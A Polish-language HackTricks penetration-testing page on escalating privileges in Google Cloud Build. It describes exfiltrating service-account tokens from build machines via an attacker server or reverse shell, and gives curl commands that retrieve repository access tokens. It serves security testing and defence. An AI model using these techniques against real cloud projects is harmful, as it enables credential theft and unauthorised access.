GCP - Cloudbuild Privesc

Support HackTricks

cloudbuild

Aby uzyskać więcej informacji o Cloud Build, sprawdź:

cloudbuild.builds.create

Dzięki temu uprawnieniu możesz złożyć budowę w chmurze. Maszyna cloudbuild będzie miała w swoim systemie plików domyślnie token konta usługi cloudbuild: <PROJECT_NUMBER>@cloudbuild.gserviceaccount.com. Możesz jednak wskazać dowolne konto usługi w projekcie w konfiguracji cloudbuild. Dlatego możesz po prostu sprawić, aby maszyna wyeksportowała token na twój serwer lub uzyskać odwróconą powłokę wewnątrz niej i zdobyć token (plik zawierający token może się zmieniać).

Możesz znaleźć oryginalny skrypt exploitujący tutaj na GitHubie (ale lokalizacja, z której pobiera token, nie działała dla mnie). Dlatego sprawdź skrypt do automatyzacji tworzenia, eksploatacji i czyszczenia podatnego środowiska tutaj oraz skrypt w Pythonie do uzyskania odwróconej powłoki wewnątrz maszyny cloudbuild i kradzieży tokena tutaj (w kodzie znajdziesz, jak wskazać inne konta usługi).

Aby uzyskać bardziej szczegółowe wyjaśnienie, odwiedź https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/

cloudbuild.builds.update

Potencjalnie dzięki temu uprawnieniu będziesz mógł zaktualizować budowę w chmurze i po prostu ukraść token konta usługi tak, jak to miało miejsce w przypadku poprzedniego uprawnienia (ale niestety w momencie pisania tego tekstu nie mogłem znaleźć żadnego sposobu na wywołanie tego API).

TODO

cloudbuild.repositories.accessReadToken

Dzięki temu uprawnieniu użytkownik może uzyskać token dostępu do odczytu używany do uzyskania dostępu do repozytorium:

curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
-H "Content-Type: application/json" \
-d '{}' \
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>/repositories/<repo-id>:accessReadToken"

cloudbuild.repositories.accessReadWriteToken

Dzięki temu uprawnieniu użytkownik może uzyskać token dostępu do odczytu i zapisu używany do uzyskania dostępu do repozytorium:

curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
-H "Content-Type: application/json" \
-d '{}' \
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>/repositories/<repo-id>:accessReadWriteToken"

cloudbuild.connections.fetchLinkableRepositories

Dzięki temu uprawnieniu możesz uzyskać dostęp do repozytoriów, do których ma dostęp połączenie:

curl -X GET \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>:fetchLinkableRepositories"
Wsparcie HackTricks

Last updated